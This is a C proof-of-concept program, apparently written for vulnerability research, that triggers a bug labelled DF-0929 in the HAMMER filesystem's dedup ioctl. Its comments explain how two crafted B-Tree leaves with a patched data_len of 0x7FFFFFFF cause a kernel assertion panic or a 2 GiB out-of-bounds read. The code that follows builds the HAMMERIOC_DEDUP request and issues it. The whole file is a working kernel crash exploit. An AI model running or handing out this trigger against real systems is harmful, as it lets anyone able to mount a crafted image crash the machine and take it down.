/*
 * trigger.c - DF-0929 PoC trigger (corrected).
 *
 * Opens a HAMMER mountpoint and issues HAMMERIOC_DEDUP against two
 * crafted B-Tree leaves whose data_len was patched to 0x7FFFFFFF.
 *
 * The kernel path (hammer_dedup.c:60-117):
 *   - cursor1.key_beg = dedup->elm1; hammer_btree_lookup(); extract_data();
 *   - extract_data() -> hammer_btree.c:736:
 *       KKASSERT(data_len >= 0 && data_len <= HAMMER_XBUFSIZE)
 *     On the default X86_64_GENERIC kernel (options INVARIANTS) this
 *     KKASSERT fires immediately because the patched data_len is
 *     0x7FFFFFFF (> HAMMER_XBUFSIZE=65536).  => kernel panic.
 *
 *   On a non-INVARIANTS kernel the KKASSERT is compiled out and the
 *   bug reaches bcmp(cursor1.data, cursor2.data, data_len) at
 *   hammer_dedup.c:117, performing a 2 GiB OOB read past the 16K data
 *   buffer => page fault => panic.
 *
 * Build: cc -o trigger trigger.c
 * Run:   ./trigger /mnt/test   (after mounting the patched image)
 */
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/ioctl.h>
#include <vfs/hammer/hammer_ioctl.h>
#include <vfs/hammer/hammer_btree.h>

int
main(int argc, char **argv)
{
    if (argc != 2) {
        fprintf(stderr, "usage: %s <hammer_mountpoint>\n", argv[0]);
        return 2;
    }
    int fd = open(argv[1], O_RDONLY);
    if (fd < 0) {
        perror("open");
        return 1;
    }

    /*
     * Keys of the two patched leaves (output of patch_image.py):
     *   obj_id       = 0x000000010000043f   (file2's inode number)
     *   key          = 0x4000 / 0x8000      (file logical offsets)
     *   create_tid   = 0x0000000100008080
     *   rec_type     = 0x0010 (HAMMER_RECTYPE_DATA)
     *   obj_type     = 0x02 (HAMMER_OBJTYPE_REGFILE)
     *   btype        = 'R' (HAMMER_BTREE_TYPE_RECORD)
     *   localization = 0x00000002
     */
    struct hammer_ioc_dedup d;
    memset(&d, 0, sizeof d);

    d.elm1.obj_id       = 0x000000010000043fLL;
    d.elm1.key          = 0x0000000000004000LL;
    d.elm1.create_tid   = 0x0000000100008080LL;
    d.elm1.delete_tid   = 0;            /* lookup matches create_tid only */
    d.elm1.rec_type     = 0x0010;
    d.elm1.obj_type     = 0x02;
    d.elm1.btype        = 'R';
    d.elm1.localization = 0x00000002;

    d.elm2 = d.elm1;
    d.elm2.key          = 0x0000000000008000LL;

    printf("[*] issuing HAMMERIOC_DEDUP on two patched DATA leaves "
           "(data_len=0x7FFFFFFF)\n");
    fflush(stdout);

    int rc = ioctl(fd, HAMMERIOC_DEDUP, &d);
    printf("[*] ioctl returned %d (errno=%d '%s'); head.flags=0x%x "
           "head.error=%d\n",
           rc, rc < 0 ? errno : 0, rc < 0 ? strerror(errno) : "ok",
           d.head.flags, d.head.error);

    close(fd);
    return 0;
}
